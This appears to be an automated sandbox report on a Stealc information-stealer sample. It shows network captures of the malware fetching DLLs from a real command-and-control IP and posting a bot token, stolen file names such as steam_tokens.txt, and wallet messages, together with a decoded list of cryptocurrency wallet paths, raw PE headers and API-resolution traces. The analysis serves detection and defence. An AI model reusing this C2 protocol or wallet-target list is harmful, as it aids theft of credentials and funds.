5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Sep 1, 2024 01:22:10.560559034 CEST	91	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Sep 1, 2024 01:22:10.804047108 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:10 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Sep 1, 2024 01:22:12.181708097 CEST	95	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Sep 1, 2024 01:22:12.422897100 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:12 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Sep 1, 2024 01:22:12.551472902 CEST	99	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Sep 1, 2024 01:22:12.792289019 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:12 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 1, 2024 01:22:13.261145115 CEST	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECBGIDAEHCGDGCBKEBG Host: 185.215.113.100 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Sep 1, 2024 01:22:14.255893946 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 01:22:14.337321043 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDHJEBFBFHJECAKFCAA Host: 185.215.113.100 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 64 35 36 39 63 30 32 37 33 66 61 66 66 31 34 64 31 62 31 66 33 32 65 65 39 34 31 32 62 34 36 64 63 62 65 62 39 63 34 63 37 36 37 38 64 31 35 63 34 64 35 66 33 64 64 39 64 34 39 34 37 36 30 38 32 66 65 36 33 61 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 2d 2d 0d 0a Data Ascii: ------GHDHJEBFBFHJECAKFCAAContent-Disposition: form-data; name="token"c3d569c0273faff14d1b1f32ee9412b46dcbeb9c4c7678d15c4d5f3dd9d49476082fe63a------GHDHJEBFBFHJECAKFCAAContent-Disposition: form-data; name="message"wallets------GHDHJEBFBFHJECAKFCAA--
Sep 1, 2024 01:22:14.580667973 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:14 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Sep 1, 2024 01:22:14.582865000 CEST	467	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCBGCAFIIECBFIDHIJK Host: 185.215.113.100 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 64 35 36 39 63 30 32 37 33 66 61 66 66 31 34 64 31 62 31 66 33 32 65 65 39 34 31 32 62 34 36 64 63 62 65 62 39 63 34 63 37 36 37 38 64 31 35 63 34 64 35 66 33 64 64 39 64 34 39 34 37 36 30 38 32 66 65 36 33 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 2d 2d 0d 0a Data Ascii: ------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="token"c3d569c0273faff14d1b1f32ee9412b46dcbeb9c4c7678d15c4d5f3dd9d49476082fe63a------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="message"files------BGCBGCAFIIECBFIDHIJK--
Sep 1, 2024 01:22:14.826086998 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 01:22:14.836333990 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBFIIIEHCFHJKFHDHDA Host: 185.215.113.100 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 64 35 36 39 63 30 32 37 33 66 61 66 66 31 34 64 31 62 31 66 33 32 65 65 39 34 31 32 62 34 36 64 63 62 65 62 39 63 34 63 37 36 37 38 64 31 35 63 34 64 35 66 33 64 64 39 64 34 39 34 37 36 30 38 32 66 65 36 33 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JEBFIIIEHCFHJKFHDHDAContent-Disposition: form-data; name="token"c3d569c0273faff14d1b1f32ee9412b46dcbeb9c4c7678d15c4d5f3dd9d49476082fe63a------JEBFIIIEHCFHJKFHDHDAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JEBFIIIEHCFHJKFHDHDAContent-Disposition: form-data; name="file"------JEBFIIIEHCFHJKFHDHDA--
Sep 1, 2024 01:22:15.657340050 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 01:22:15.692111969 CEST	474	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJJJDHDGDAAKECAKJDA Host: 185.215.113.100 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 64 35 36 39 63 30 32 37 33 66 61 66 66 31 34 64 31 62 31 66 33 32 65 65 39 34 31 32 62 34 36 64 63 62 65 62 39 63 34 63 37 36 37 38 64 31 35 63 34 64 35 66 33 64 64 39 64 34 39 34 37 36 30 38 32 66 65 36 33 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 2d 2d 0d 0a Data Ascii: ------BKJJJDHDGDAAKECAKJDAContent-Disposition: form-data; name="token"c3d569c0273faff14d1b1f32ee9412b46dcbeb9c4c7678d15c4d5f3dd9d49476082fe63a------BKJJJDHDGDAAKECAKJDAContent-Disposition: form-data; name="message"ybncbhylepme------BKJJJDHDGDAAKECAKJDA--
Sep 1, 2024 01:22:15.939721107 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:15 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 5462 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 31 3c 62 72 3e 3c 62 72 3e 2a 2e 30 3c 62 72 3e 3c 62 72 3e 2a 2e 70 6c 3c 62 72 3e 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 3c 62 72 3e 2a 2e 7a 6d 3c 62 72 3e 3c 62 72 3e 2a 2e 76 65 3c 62 72 3e 3c 62 72 3e 2a 2e 70 6b 3c 62 72 3e 3c 62 72 3e 2a 2e 72 73 3c 62 72 3e 3c 62 72 3e 2a 2e 70 68 3c 62 72 3e 3c 62 72 3e 2a 2e 6d 78 3c 62 72 3e 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 3c 62 72 3e 2a 2e 74 68 3c 62 72 3e 3c 62 72 3e 2a 2e 63 6f 3c 62 72 3e 3c 62 72 3e 2a 2e 69 64 3c 62 72 3e 3c 62 72 3e 2a 7a 2e 69 64 3c 62 72 3e 3c 62 72 3e 2a 2e 74 72 3c 62 72 3e 3c 62 72 3e 2a 2e 63 7a 3c 62 72 3e 3c 62 72 3e 2a 2e 69 6f 3c 62 72 3e 3c 62 72 3e 2a 2e 64 7a 3c 62 72 3e 3c 62 72 3e 2a 2e 64 65 3c 62 72 3e 3c 62 72 3e 2a 2e 6b 72 3c 62 72 3e 3c 62 72 3e 2a 2e 6d [TRUNCATED] Data Ascii: .1<br><br>.0<br><br>.pl<br><br>.ar<br><br>.br<br><br>.ec<br><br>.eg<br><br>.in<br><br>.pt<br><br>.ac<br><br>.bd<br><br>.zm<br><br>.ve<br><br>.pk<br><br>.rs<br><br>.ph<br><br>.mx<br><br>.in<br><br>.th<br><br>.co<br><br>.id<br><br>z.id<br><br>.tr<br><br>.cz<br><br>.io<br><br>.dz<br><br>.de<br><br>.kr<br><br>.ma<br><br>.jp<br><br>.za<br><br>.sa<br><br>.vn<br><br>.cl<br><br>.pe<br><br>.ke<br><br>.tw<br><br>.cn<br><br>.my<br><br>.mz<br><br>.sv<br><br>.au<br><br>.bo<br><br>.mn<br><br>.lb<br><br>.es<br><br>.org<br><br>.uk<br><br>.ug<br><br>.sy<br><br>.gh<br><br>.bc<br><br>.ao<br><br>.ni<br><br>.ng<br><br>.to<br><br>.edu<br><br>.it<br><br>.tn<br><br>.net<br><br>.gn<br><br>.hk<br><br>.uy<br><br>.ae<br><br>.np<br><br>.mm<br><br>.do<br><br>.ir<br><br>.biz<br><br>.tv<br><br>.gt<br><br>.ps<br><br>.dk<br><br>.gp<br><br>.hu<br><br>.ge<br><br>.ci<br><br>.ca<br><br>.al<br><br>.jo<br><br>.sn<br><br>.is<br><br>.ro<br><br>.cr<br><
Sep 1, 2024 01:22:15.944298983 CEST	474	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJEBGDAFHJEBGDGIJDH Host: 185.215.113.100 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 64 35 36 39 63 30 32 37 33 66 61 66 66 31 34 64 31 62 31 66 33 32 65 65 39 34 31 32 62 34 36 64 63 62 65 62 39 63 34 63 37 36 37 38 64 31 35 63 34 64 35 66 33 64 64 39 64 34 39 34 37 36 30 38 32 66 65 36 33 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 2d 2d 0d 0a Data Ascii: ------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="token"c3d569c0273faff14d1b1f32ee9412b46dcbeb9c4c7678d15c4d5f3dd9d49476082fe63a------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JJJEBGDAFHJEBGDGIJDH--
Sep 1, 2024 01:22:17.161132097 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 01:22:17.161158085 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	19:21:56
Start date:	31/08/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x120000
File size:	1'790'976 bytes
MD5 hash:	4847D6885ADC7EA78FDF9918C384CECB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1894523709.00000000011DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 00139270 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,011F22C0), ref: 001392B1
GetProcAddress.KERNEL32(74DD0000,011F2260), ref: 001392CA
GetProcAddress.KERNEL32(74DD0000,011F2398), ref: 001392E2
GetProcAddress.KERNEL32(74DD0000,011F2278), ref: 001392FA
GetProcAddress.KERNEL32(74DD0000,011F22D8), ref: 00139313
GetProcAddress.KERNEL32(74DD0000,011F90B0), ref: 0013932B
GetProcAddress.KERNEL32(74DD0000,011E5850), ref: 00139343
GetProcAddress.KERNEL32(74DD0000,011E58B0), ref: 0013935C
GetProcAddress.KERNEL32(74DD0000,011F2320), ref: 00139374
GetProcAddress.KERNEL32(74DD0000,011F23B0), ref: 0013938C
GetProcAddress.KERNEL32(74DD0000,011F23C8), ref: 001393A5
GetProcAddress.KERNEL32(74DD0000,011F23E0), ref: 001393BD
GetProcAddress.KERNEL32(74DD0000,011E5B70), ref: 001393D5
GetProcAddress.KERNEL32(74DD0000,011F2290), ref: 001393EE
GetProcAddress.KERNEL32(74DD0000,011F23F8), ref: 00139406
GetProcAddress.KERNEL32(74DD0000,011E59F0), ref: 0013941E
GetProcAddress.KERNEL32(74DD0000,011F2410), ref: 00139437
GetProcAddress.KERNEL32(74DD0000,011F2428), ref: 0013944F
GetProcAddress.KERNEL32(74DD0000,011E5A90), ref: 00139467
GetProcAddress.KERNEL32(74DD0000,011F2440), ref: 00139480
GetProcAddress.KERNEL32(74DD0000,011E5A10), ref: 00139498
LoadLibraryA.KERNEL32(011F24A0,?,001364A0), ref: 001394AA
LoadLibraryA.KERNEL32(011F2518,?,001364A0), ref: 001394BB
LoadLibraryA.KERNEL32(011F2530,?,001364A0), ref: 001394CD
LoadLibraryA.KERNEL32(011F24B8,?,001364A0), ref: 001394DF
LoadLibraryA.KERNEL32(011F24D0,?,001364A0), ref: 001394F0
GetProcAddress.KERNEL32(75A70000,011F2500), ref: 00139512
GetProcAddress.KERNEL32(75290000,011F24E8), ref: 00139533
GetProcAddress.KERNEL32(75290000,011F2548), ref: 0013954B
GetProcAddress.KERNEL32(75BD0000,011F2560), ref: 0013956D
GetProcAddress.KERNEL32(75450000,011E5890), ref: 0013958E
GetProcAddress.KERNEL32(76E90000,011F9240), ref: 001395AF
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 001395C6

Strings

NtQueryInformationProcess, xrefs: 001395BA

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

